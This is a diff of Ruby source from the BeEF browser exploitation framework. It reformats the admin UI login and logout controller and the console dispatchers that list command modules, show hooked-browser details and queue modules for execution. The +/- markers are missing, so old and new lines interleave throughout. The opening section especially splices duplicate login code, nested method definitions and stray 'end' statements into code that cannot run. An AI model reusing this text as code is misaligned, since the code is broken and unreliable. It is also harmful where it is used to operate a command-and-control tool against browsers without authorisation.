def initialize
|
||||
super({
|
||||
'paths' => {
|
||||
'/' => method(:index),
|
||||
'/login' => method(:login),
|
||||
'/logout' => method(:logout)
|
||||
}
|
||||
})
|
||||
# Function managing the index web page
|
||||
def index
|
||||
@headers['Content-Type'] = 'text/html; charset=UTF-8'
|
||||
@headers['X-Frame-Options'] = 'sameorigin'
|
||||
end
|
||||
|
||||
@session = BeEF::Extension::AdminUI::Session.instance
|
||||
end
|
||||
#
|
||||
# Function managing the login
|
||||
#
|
||||
def login
|
||||
username = @params['username-cfrm'] || ''
|
||||
password = @params['password-cfrm'] || ''
|
||||
config = BeEF::Core::Configuration.instance
|
||||
@headers['Content-Type'] = 'application/json; charset=UTF-8'
|
||||
@headers['X-Frame-Options'] = 'sameorigin'
|
||||
ua_ip = if config.get('beef.http.allow_reverse_proxy')
|
||||
@request.ip # get client ip address
|
||||
else
|
||||
@request.get_header('REMOTE_ADDR')
|
||||
end
|
||||
@body = '{ success : false }' # attempt to fail closed
|
||||
# check if source IP address is permitted to authenticate
|
||||
unless permitted_source?(ua_ip)
|
||||
BeEF::Core::Logger.instance.register('Authentication', "IP source address (#{@request.ip}) attempted to authenticate but is not within permitted subnet.")
|
||||
return
|
||||
end
|
||||
|
||||
# Function managing the index web page
|
||||
def index
|
||||
@headers['Content-Type']='text/html; charset=UTF-8'
|
||||
@headers['X-Frame-Options']='sameorigin'
|
||||
end
|
||||
# check if under brute force attack
|
||||
return unless BeEF::Core::Rest.timeout?('beef.extension.admin_ui.login_fail_delay',
|
||||
@session.get_auth_timestamp,
|
||||
->(time) { @session.set_auth_timestamp(time) })
|
||||
|
||||
#
|
||||
# Function managing the login
|
||||
#
|
||||
def login
|
||||
# check username and password
|
||||
unless username.eql? config.get('beef.credentials.user') and password.eql? config.get('beef.credentials.passwd')
|
||||
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has failed to authenticate in the application.")
|
||||
return
|
||||
end
|
||||
|
||||
username = @params['username-cfrm'] || ''
|
||||
password = @params['password-cfrm'] || ''
|
||||
config = BeEF::Core::Configuration.instance
|
||||
@headers['Content-Type']='application/json; charset=UTF-8'
|
||||
@headers['X-Frame-Options']='sameorigin'
|
||||
if !config.get("beef.http.allow_reverse_proxy")
|
||||
ua_ip = @request.get_header('REMOTE_ADDR')
|
||||
else
|
||||
ua_ip = @request.ip # get client ip address
|
||||
# establish an authenticated session
|
||||
|
||||
# set up session and set it logged in
|
||||
@session.set_logged_in(ua_ip)
|
||||
|
||||
# create session cookie
|
||||
session_cookie_name = config.get('beef.extension.admin_ui.session_cookie_name') # get session cookie name
|
||||
Rack::Utils.set_cookie_header!(@headers, session_cookie_name, { value: @session.get_id, path: '/', httponly: true })
|
||||
|
||||
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has successfully authenticated in the application.")
|
||||
@body = '{ success : true }'
|
||||
end
|
||||
|
||||
#
|
||||
# Function managing the logout
|
||||
#
|
||||
def logout
|
||||
# test if session is unauth'd
|
||||
unless @session.valid_nonce?(@request)
|
||||
(print_error 'invalid nonce'
|
||||
return @body = '{ success : true }')
|
||||
end
|
||||
unless @session.valid_session?(@request)
|
||||
(print_error 'invalid session'
|
||||
return @body = '{ success : true }')
|
||||
end
|
||||
|
||||
@headers['Content-Type'] = 'application/json; charset=UTF-8'
|
||||
@headers['X-Frame-Options'] = 'sameorigin'
|
||||
|
||||
# set the session to be log out
|
||||
@session.set_logged_out
|
||||
|
||||
# clean up UA and expire the session cookie
|
||||
config = BeEF::Core::Configuration.instance
|
||||
session_cookie_name = config.get('beef.extension.admin_ui.session_cookie_name') # get session cookie name
|
||||
Rack::Utils.set_cookie_header!(@headers, session_cookie_name, { value: '', path: '/', httponly: true, expires: Time.now })
|
||||
|
||||
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has successfully logged out.")
|
||||
@body = '{ success : true }'
|
||||
end
|
||||
|
||||
#
|
||||
# Check the UI browser source IP is within the permitted subnet
|
||||
#
|
||||
def permitted_source?(ip)
|
||||
# test if supplied IP address is valid
|
||||
return false unless BeEF::Filters.is_valid_ip?(ip)
|
||||
|
||||
# get permitted subnets
|
||||
permitted_ui_subnet = BeEF::Core::Configuration.instance.get('beef.restrictions.permitted_ui_subnet')
|
||||
return false if permitted_ui_subnet.nil?
|
||||
return false if permitted_ui_subnet.empty?
|
||||
|
||||
# test if ip within subnets
|
||||
permitted_ui_subnet.each do |subnet|
|
||||
return true if IPAddr.new(subnet).include?(ip)
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@body = '{ success : false }' # attempt to fail closed
|
||||
# check if source IP address is permitted to authenticate
|
||||
if not permitted_source?(ua_ip)
|
||||
BeEF::Core::Logger.instance.register('Authentication', "IP source address (#{@request.ip}) attempted to authenticate but is not within permitted subnet.")
|
||||
return
|
||||
end
|
||||
|
||||
# check if under brute force attack
|
||||
return if not BeEF::Core::Rest.timeout?('beef.extension.admin_ui.login_fail_delay',
|
||||
@session.get_auth_timestamp(),
|
||||
lambda { |time| @session.set_auth_timestamp(time)})
|
||||
|
||||
# check username and password
|
||||
if not (username.eql? config.get('beef.credentials.user') and password.eql? config.get('beef.credentials.passwd') )
|
||||
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has failed to authenticate in the application.")
|
||||
return
|
||||
end
|
||||
|
||||
# establish an authenticated session
|
||||
|
||||
# set up session and set it logged in
|
||||
@session.set_logged_in(ua_ip)
|
||||
|
||||
# create session cookie
|
||||
session_cookie_name = config.get('beef.extension.admin_ui.session_cookie_name') # get session cookie name
|
||||
Rack::Utils.set_cookie_header!(@headers, session_cookie_name, {:value => @session.get_id, :path => "/", :httponly => true})
|
||||
|
||||
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has successfully authenticated in the application.")
|
||||
@body = "{ success : true }"
|
||||
end
|
||||
|
||||
#
|
||||
# Function managing the logout
|
||||
#
|
||||
def logout
|
||||
|
||||
# test if session is unauth'd
|
||||
(print_error "invalid nonce";return @body = "{ success : true }") if not @session.valid_nonce?(@request)
|
||||
(print_error "invalid session";return @body = "{ success : true }") if not @session.valid_session?(@request)
|
||||
|
||||
@headers['Content-Type']='application/json; charset=UTF-8'
|
||||
@headers['X-Frame-Options']='sameorigin'
|
||||
|
||||
# set the session to be log out
|
||||
@session.set_logged_out
|
||||
|
||||
# clean up UA and expire the session cookie
|
||||
config = BeEF::Core::Configuration.instance
|
||||
session_cookie_name = config.get('beef.extension.admin_ui.session_cookie_name') # get session cookie name
|
||||
Rack::Utils.set_cookie_header!(@headers, session_cookie_name, {:value => "", :path => "/", :httponly => true, expires: Time.now})
|
||||
|
||||
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has successfully logged out.")
|
||||
@body = "{ success : true }"
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Check the UI browser source IP is within the permitted subnet
|
||||
#
|
||||
def permitted_source?(ip)
|
||||
# test if supplied IP address is valid
|
||||
return false unless BeEF::Filters::is_valid_ip?(ip)
|
||||
|
||||
# get permitted subnets
|
||||
permitted_ui_subnet = BeEF::Core::Configuration.instance.get("beef.restrictions.permitted_ui_subnet")
|
||||
return false if permitted_ui_subnet.nil?
|
||||
return false if permitted_ui_subnet.empty?
|
||||
|
||||
# test if ip within subnets
|
||||
permitted_ui_subnet.each do |subnet|
|
||||
return true if IPAddr.new(subnet).include?(ip)
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -8,7 +8,6 @@ module BeEF
|
||||
module AdminUI
|
||||
module Controllers
|
||||
class Panel < BeEF::Extension::AdminUI::HttpController
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'paths' => {
|
||||
|
||||
@@ -4,15 +4,15 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module AdminUI
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@full_name = 'Administration Web UI'
|
||||
@short_name = 'admin_ui'
|
||||
@description = 'Command and control web interface'
|
||||
end
|
||||
end
|
||||
module Extension
|
||||
module AdminUI
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@full_name = 'Administration Web UI'
|
||||
@short_name = 'admin_ui'
|
||||
@description = 'Command and control web interface'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Constants
|
||||
|
||||
@@ -8,44 +8,37 @@
|
||||
# controllers into the framework.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module AdminUI
|
||||
module Handlers
|
||||
|
||||
class UI
|
||||
module Extension
|
||||
module AdminUI
|
||||
module Handlers
|
||||
class UI
|
||||
#
|
||||
# Constructor
|
||||
#
|
||||
def initialize(klass)
|
||||
# @todo Determine why this class is calling super?
|
||||
# super
|
||||
@klass = BeEF::Extension::AdminUI::Controllers.const_get(klass.to_s.capitalize)
|
||||
end
|
||||
|
||||
#
|
||||
# Constructor
|
||||
#
|
||||
def initialize(klass)
|
||||
# @todo Determine why this class is calling super?
|
||||
#super
|
||||
@klass = BeEF::Extension::AdminUI::Controllers.const_get(klass.to_s.capitalize)
|
||||
def call(env)
|
||||
@request = Rack::Request.new(env)
|
||||
@response = Rack::Response.new(env)
|
||||
|
||||
controller = @klass.new
|
||||
controller.run(@request, @response)
|
||||
|
||||
@response = Rack::Response.new(
|
||||
body = [controller.body],
|
||||
status = controller.status,
|
||||
header = controller.headers
|
||||
)
|
||||
end
|
||||
|
||||
@request
|
||||
@response
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def call(env)
|
||||
@request = Rack::Request.new(env)
|
||||
@response = Rack::Response.new(env)
|
||||
|
||||
controller = @klass.new
|
||||
controller.run(@request, @response)
|
||||
|
||||
@response = Rack::Response.new(
|
||||
body = [controller.body],
|
||||
status = controller.status,
|
||||
header = controller.headers
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
@request
|
||||
@response
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -4,11 +4,10 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Autoloader
|
||||
|
||||
end
|
||||
end
|
||||
module Extension
|
||||
module Autoloader
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'extensions/autoloader/model'
|
||||
|
||||
@@ -4,15 +4,11 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module Models
|
||||
|
||||
class Autoloading < BeEF::Core::Model
|
||||
|
||||
belongs_to :command
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
module Core
|
||||
module Models
|
||||
class Autoloading < BeEF::Core::Model
|
||||
belongs_to :command
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -4,30 +4,28 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Console
|
||||
module Extension
|
||||
module Console
|
||||
extend BeEF::API::Extension
|
||||
|
||||
extend BeEF::API::Extension
|
||||
|
||||
#
|
||||
# Sets the information for that extension.
|
||||
#
|
||||
@short_name = @full_name = 'console'
|
||||
@description = 'console environment to manage beef'
|
||||
#
|
||||
# Sets the information for that extension.
|
||||
#
|
||||
@short_name = @full_name = 'console'
|
||||
@description = 'console environment to manage beef'
|
||||
|
||||
module PostLoad
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Console::PostLoad, BeEF::API::Extensions, 'post_load')
|
||||
module PostLoad
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Console::PostLoad, BeEF::API::Extensions, 'post_load')
|
||||
|
||||
def self.post_load
|
||||
if BeEF::Core::Configuration.instance.get("beef.extension.console.enable")
|
||||
print_error "The console extension is currently unsupported."
|
||||
print_more "See issue #1090 - https://github.com/beefproject/beef/issues/1090"
|
||||
BeEF::Core::Configuration.instance.set('beef.extension.console.enable', false)
|
||||
BeEF::Core::Configuration.instance.set('beef.extension.console.loaded', false)
|
||||
def self.post_load
|
||||
return unless BeEF::Core::Configuration.instance.get('beef.extension.console.enable')
|
||||
|
||||
print_error 'The console extension is currently unsupported.'
|
||||
print_more 'See issue #1090 - https://github.com/beefproject/beef/issues/1090'
|
||||
BeEF::Core::Configuration.instance.set('beef.extension.console.enable', false)
|
||||
BeEF::Core::Configuration.instance.set('beef.extension.console.loaded', false)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -4,24 +4,23 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Console
|
||||
module Extension
|
||||
module Console
|
||||
module CommandDispatcher
|
||||
include Rex::Ui::Text::DispatcherShell::CommandDispatcher
|
||||
|
||||
module CommandDispatcher
|
||||
include Rex::Ui::Text::DispatcherShell::CommandDispatcher
|
||||
|
||||
def initialize(driver)
|
||||
super
|
||||
|
||||
self.driver = driver
|
||||
def initialize(driver)
|
||||
super
|
||||
|
||||
self.driver = driver
|
||||
end
|
||||
|
||||
attr_accessor :driver
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
attr_accessor :driver
|
||||
|
||||
end
|
||||
|
||||
end end end
|
||||
|
||||
require 'extensions/console/lib/command_dispatcher/core'
|
||||
require 'extensions/console/lib/command_dispatcher/target'
|
||||
require 'extensions/console/lib/command_dispatcher/command'
|
||||
require 'extensions/console/lib/command_dispatcher/command'
|
||||
|
||||
@@ -4,193 +4,197 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Console
|
||||
module CommandDispatcher
|
||||
|
||||
class Command
|
||||
include BeEF::Extension::Console::CommandDispatcher
|
||||
module Extension
|
||||
module Console
|
||||
module CommandDispatcher
|
||||
class Command
|
||||
include BeEF::Extension::Console::CommandDispatcher
|
||||
|
||||
@@params = []
|
||||
|
||||
def initialize(driver)
|
||||
super
|
||||
begin
|
||||
driver.interface.cmd['Data'].each{|data|
|
||||
@@params << data['name']
|
||||
}
|
||||
rescue
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def commands
|
||||
{
|
||||
"execute" => "Go! Execute the command module",
|
||||
"param" => "Set parameters for this module",
|
||||
"response" => "Get previous responses to this command module",
|
||||
"cmdinfo" => "See information about this particular command module"
|
||||
}
|
||||
end
|
||||
|
||||
def name
|
||||
"Command"
|
||||
end
|
||||
|
||||
@@bare_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help." ])
|
||||
|
||||
def cmd_cmdinfo(*args)
|
||||
@@bare_opts.parse(args) {|opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
cmd_cmdinfo_help
|
||||
return false
|
||||
end
|
||||
}
|
||||
|
||||
print_line("Module name: " + driver.interface.cmd['Name'])
|
||||
print_line("Module category: " + driver.interface.cmd['Category'].to_s)
|
||||
print_line("Module description: " + driver.interface.cmd['Description'])
|
||||
print_line("Module parameters:") if not driver.interface.cmd['Data'].length == 0
|
||||
@@params = []
|
||||
|
||||
driver.interface.cmd['Data'].each{|data|
|
||||
if data['type'].eql?("combobox")
|
||||
print_line(data['name'] + " => \"" + data['value'].to_s + "\" # " + data['ui_label'] + " (Options include: " + data['store_data'].to_s + ")")
|
||||
else
|
||||
print_line(data['name'] + " => \"" + data['value'].to_s + "\" # " + data['ui_label'])
|
||||
end
|
||||
} if not driver.interface.cmd['Data'].nil?
|
||||
end
|
||||
|
||||
def cmd_cmdinfo_help(*args)
|
||||
print_status("Displays information about the current command module")
|
||||
end
|
||||
|
||||
def cmd_param(*args)
|
||||
@@bare_opts.parse(args) {|opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
cmd_param_help
|
||||
return false
|
||||
end
|
||||
}
|
||||
|
||||
if (args[0] == nil || args[1] == nil)
|
||||
cmd_param_help
|
||||
return
|
||||
else
|
||||
p = ""
|
||||
(1..args.length-1).each do |x|
|
||||
p << args[x] << " "
|
||||
end
|
||||
p.chop!
|
||||
driver.interface.setparam(args[0],p)
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_param_help(*args)
|
||||
print_status("Sets parameters for the current modules. Run \"cmdinfo\" to see the parameter values")
|
||||
print_status(" Usage: param <paramname> <paramvalue>")
|
||||
end
|
||||
def initialize(driver)
|
||||
super
|
||||
begin
|
||||
driver.interface.cmd['Data'].each do |data|
|
||||
@@params << data['name']
|
||||
end
|
||||
rescue StandardError
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_param_tabs(str,words)
|
||||
return if words.length > 1
|
||||
def commands
|
||||
{
|
||||
'execute' => 'Go! Execute the command module',
|
||||
'param' => 'Set parameters for this module',
|
||||
'response' => 'Get previous responses to this command module',
|
||||
'cmdinfo' => 'See information about this particular command module'
|
||||
}
|
||||
end
|
||||
|
||||
if @@params == ""
|
||||
#nothing prepopulated?
|
||||
else
|
||||
return @@params
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_execute(*args)
|
||||
@@bare_opts.parse(args) {|opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
cmd_execute_help
|
||||
return false
|
||||
end
|
||||
}
|
||||
|
||||
if driver.interface.executecommand == true
|
||||
print_status("Command successfully queued")
|
||||
else
|
||||
print_status("Something went wrong")
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_execute_help(*args)
|
||||
print_status("Execute this module... go on!")
|
||||
end
|
||||
|
||||
def cmd_response(*args)
|
||||
@@bare_opts.parse(args) {|opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
cmd_response_help
|
||||
return false
|
||||
end
|
||||
}
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Columns' =>
|
||||
[
|
||||
'Id',
|
||||
'Executed Time',
|
||||
'Response Time'
|
||||
])
|
||||
def name
|
||||
'Command'
|
||||
end
|
||||
|
||||
if args[0] == nil
|
||||
lastcmdid = nil
|
||||
driver.interface.getcommandresponses.each do |resp|
|
||||
indiresp = driver.interface.getindividualresponse(resp['object_id'])
|
||||
respout = ""
|
||||
if indiresp.nil? or indiresp[0].nil?
|
||||
respout = "No response yet"
|
||||
else
|
||||
respout = Time.at(indiresp[0]['date'].to_i).to_s
|
||||
lastcmdid = resp['object_id']
|
||||
end
|
||||
tbl << [resp['object_id'].to_s, resp['creationdate'], respout]
|
||||
end
|
||||
|
||||
puts "\n"
|
||||
puts "List of responses for this command module:\n"
|
||||
puts tbl.to_s + "\n"
|
||||
@@bare_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [false, 'Help.']
|
||||
)
|
||||
|
||||
if not lastcmdid.nil?
|
||||
resp = driver.interface.getindividualresponse(lastcmdid)
|
||||
puts "\n"
|
||||
print_line("The last response [" + lastcmdid.to_s + "] was retrieved: " + Time.at(resp[0]['date'].to_i).to_s)
|
||||
print_line("Response:")
|
||||
resp.each do |op|
|
||||
print_line(op['data']['data'].to_s)
|
||||
end
|
||||
end
|
||||
else
|
||||
output = driver.interface.getindividualresponse(args[0])
|
||||
if output.nil?
|
||||
print_line("Invalid response ID")
|
||||
elsif output[0].nil?
|
||||
print_line("No response yet from the hooked browser or perhaps an invalid response ID")
|
||||
else
|
||||
print_line("Results retrieved: " + Time.at(output[0]['date'].to_i).to_s)
|
||||
print_line("")
|
||||
print_line("Response:")
|
||||
output.each do |op|
|
||||
print_line(op['data']['data'].to_s)
|
||||
def cmd_cmdinfo(*args)
|
||||
@@bare_opts.parse(args) do |opt, _idx, _val|
|
||||
case opt
|
||||
when '-h'
|
||||
cmd_cmdinfo_help
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
print_line('Module name: ' + driver.interface.cmd['Name'])
|
||||
print_line('Module category: ' + driver.interface.cmd['Category'].to_s)
|
||||
print_line('Module description: ' + driver.interface.cmd['Description'])
|
||||
print_line('Module parameters:') unless driver.interface.cmd['Data'].length == 0
|
||||
|
||||
unless driver.interface.cmd['Data'].nil?
|
||||
driver.interface.cmd['Data'].each do |data|
|
||||
if data['type'].eql?('combobox')
|
||||
print_line(data['name'] + ' => "' + data['value'].to_s + '" # ' + data['ui_label'] + ' (Options include: ' + data['store_data'].to_s + ')')
|
||||
else
|
||||
print_line(data['name'] + ' => "' + data['value'].to_s + '" # ' + data['ui_label'])
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_cmdinfo_help(*_args)
|
||||
print_status('Displays information about the current command module')
|
||||
end
|
||||
|
||||
def cmd_param(*args)
|
||||
@@bare_opts.parse(args) do |opt, _idx, _val|
|
||||
case opt
|
||||
when '-h'
|
||||
cmd_param_help
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
if args[0].nil? || args[1].nil?
|
||||
cmd_param_help
|
||||
nil
|
||||
else
|
||||
p = ''
|
||||
(1..args.length - 1).each do |x|
|
||||
p << args[x] << ' '
|
||||
end
|
||||
p.chop!
|
||||
driver.interface.setparam(args[0], p)
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_param_help(*_args)
|
||||
print_status('Sets parameters for the current modules. Run "cmdinfo" to see the parameter values')
|
||||
print_status(' Usage: param <paramname> <paramvalue>')
|
||||
end
|
||||
|
||||
def cmd_param_tabs(_str, words)
|
||||
return if words.length > 1
|
||||
|
||||
if @@params == ''
|
||||
# nothing prepopulated?
|
||||
else
|
||||
@@params
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_execute(*args)
|
||||
@@bare_opts.parse(args) do |opt, _idx, _val|
|
||||
case opt
|
||||
when '-h'
|
||||
cmd_execute_help
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
if driver.interface.executecommand == true
|
||||
print_status('Command successfully queued')
|
||||
else
|
||||
print_status('Something went wrong')
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_execute_help(*_args)
|
||||
print_status('Execute this module... go on!')
|
||||
end
|
||||
|
||||
def cmd_response(*args)
|
||||
@@bare_opts.parse(args) do |opt, _idx, _val|
|
||||
case opt
|
||||
when '-h'
|
||||
cmd_response_help
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Columns' =>
|
||||
[
|
||||
'Id',
|
||||
'Executed Time',
|
||||
'Response Time'
|
||||
]
|
||||
)
|
||||
|
||||
if args[0].nil?
|
||||
lastcmdid = nil
|
||||
driver.interface.getcommandresponses.each do |resp|
|
||||
indiresp = driver.interface.getindividualresponse(resp['object_id'])
|
||||
respout = ''
|
||||
if indiresp.nil? or indiresp[0].nil?
|
||||
respout = 'No response yet'
|
||||
else
|
||||
respout = Time.at(indiresp[0]['date'].to_i).to_s
|
||||
lastcmdid = resp['object_id']
|
||||
end
|
||||
tbl << [resp['object_id'].to_s, resp['creationdate'], respout]
|
||||
end
|
||||
|
||||
puts "\n"
|
||||
puts "List of responses for this command module:\n"
|
||||
puts tbl.to_s + "\n"
|
||||
|
||||
unless lastcmdid.nil?
|
||||
resp = driver.interface.getindividualresponse(lastcmdid)
|
||||
puts "\n"
|
||||
print_line('The last response [' + lastcmdid.to_s + '] was retrieved: ' + Time.at(resp[0]['date'].to_i).to_s)
|
||||
print_line('Response:')
|
||||
resp.each do |op|
|
||||
print_line(op['data']['data'].to_s)
|
||||
end
|
||||
end
|
||||
else
|
||||
output = driver.interface.getindividualresponse(args[0])
|
||||
if output.nil?
|
||||
print_line('Invalid response ID')
|
||||
elsif output[0].nil?
|
||||
print_line('No response yet from the hooked browser or perhaps an invalid response ID')
|
||||
else
|
||||
print_line('Results retrieved: ' + Time.at(output[0]['date'].to_i).to_s)
|
||||
print_line('')
|
||||
print_line('Response:')
|
||||
output.each do |op|
|
||||
print_line(op['data']['data'].to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_response_help(*_args)
|
||||
print_status('List and review particular responses to this command')
|
||||
print_status(' Usage: response (id)')
|
||||
print_status(" If you omit id you'll see a list of all responses for the currently active command module")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_response_help(*args)
|
||||
print_status("List and review particular responses to this command")
|
||||
print_status(" Usage: response (id)")
|
||||
print_status(" If you omit id you'll see a list of all responses for the currently active command module")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end end end end
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -4,288 +4,282 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Console
|
||||
module CommandDispatcher
|
||||
|
||||
class Target
|
||||
include BeEF::Extension::Console::CommandDispatcher
|
||||
|
||||
@@commands = []
|
||||
|
||||
def initialize(driver)
|
||||
super
|
||||
begin
|
||||
driver.interface.getcommands.each { |folder|
|
||||
folder['children'].each { |command|
|
||||
@@commands << folder['text'].gsub(/\s/,"_") + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_")
|
||||
}
|
||||
}
|
||||
rescue
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def commands
|
||||
{
|
||||
"commands" => "List available commands against this particular target",
|
||||
"info" => "Info about the target",
|
||||
"select" => "Prepare the command module for execution against this target",
|
||||
"hosts" => "List identified network hosts",
|
||||
"services" => "List identified network services"
|
||||
}
|
||||
end
|
||||
|
||||
def name
|
||||
"Target"
|
||||
end
|
||||
|
||||
@@bare_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help." ])
|
||||
module Extension
|
||||
module Console
|
||||
module CommandDispatcher
|
||||
class Target
|
||||
include BeEF::Extension::Console::CommandDispatcher
|
||||
|
||||
@@commands_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help."],
|
||||
"-s" => [ false, "<search term>"],
|
||||
"-r" => [ false, "List modules which have responses against them only"])
|
||||
|
||||
def cmd_commands(*args)
|
||||
@@commands = []
|
||||
|
||||
searchstring = nil
|
||||
responly = nil
|
||||
|
||||
@@commands_opts.parse(args) {|opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
cmd_commands_help
|
||||
return false
|
||||
when "-s"
|
||||
searchstring = args[1].downcase if not args[1].nil?
|
||||
when "-r"
|
||||
responly = true
|
||||
end
|
||||
}
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Columns' =>
|
||||
[
|
||||
'Id',
|
||||
'Command',
|
||||
'Status',
|
||||
'Execute Count'
|
||||
])
|
||||
|
||||
|
||||
driver.interface.getcommands.each { |folder|
|
||||
folder['children'].each { |command|
|
||||
|
||||
cmdstring = folder['text'].gsub(/\s/,"_") + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_")
|
||||
|
||||
if not searchstring.nil?
|
||||
if not cmdstring.downcase.index(searchstring).nil?
|
||||
tbl << [command['id'].to_i,
|
||||
cmdstring,
|
||||
command['status'].gsub(/^Verified /,""),
|
||||
driver.interface.getcommandresponses(command['id']).length] #TODO
|
||||
def initialize(driver)
|
||||
super
|
||||
begin
|
||||
driver.interface.getcommands.each do |folder|
|
||||
folder['children'].each do |command|
|
||||
@@commands << (folder['text'].gsub(/\s/, '_') + command['text'].gsub(/[-()]/, '').gsub(/\W+/, '_'))
|
||||
end
|
||||
end
|
||||
rescue StandardError
|
||||
nil
|
||||
end
|
||||
end
|
||||
elsif not responly.nil?
|
||||
tbl << [command['id'].to_i,
|
||||
cmdstring,
|
||||
command['status'].gsub(/^Verified /,""),
|
||||
driver.interface.getcommandresponses(command['id']).length] if driver.interface.getcommandresponses(command['id']).length.to_i > 0
|
||||
|
||||
else
|
||||
tbl << [command['id'].to_i,
|
||||
cmdstring,
|
||||
command['status'].gsub(/^Verified /,""),
|
||||
driver.interface.getcommandresponses(command['id']).length] #TODO
|
||||
end
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
puts "\n"
|
||||
puts "List command modules for this target\n"
|
||||
puts tbl.to_s + "\n"
|
||||
|
||||
end
|
||||
|
||||
def cmd_commands_help(*args)
|
||||
print_status("List command modules for this target")
|
||||
print_line("Usage: commands [options]")
|
||||
print_line
|
||||
print @@commands_opts.usage()
|
||||
end
|
||||
|
||||
def cmd_info(*args)
|
||||
|
||||
@@bare_opts.parse(args) {|opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
cmd_info_help
|
||||
return false
|
||||
end
|
||||
}
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Columns' =>
|
||||
[
|
||||
'Param',
|
||||
'Value'
|
||||
])
|
||||
|
||||
driver.interface.select_zombie_summary['results'].each { |x|
|
||||
x['data'].each { |k,v|
|
||||
tbl << [k,v]
|
||||
}
|
||||
}
|
||||
|
||||
puts "\nHooked Browser Info:\n"
|
||||
puts tbl.to_s + "\n"
|
||||
|
||||
end
|
||||
|
||||
def cmd_info_help(*args)
|
||||
print_status("Display initialisation information about the hooked browser.")
|
||||
end
|
||||
|
||||
def cmd_hosts(*args)
|
||||
|
||||
@@bare_opts.parse(args) {|opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
cmd_hosts_help
|
||||
return false
|
||||
end
|
||||
}
|
||||
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
if !configuration.get("beef.extension.network.enable")
|
||||
print_error("Network extension is disabled")
|
||||
return
|
||||
end
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Columns' =>
|
||||
[
|
||||
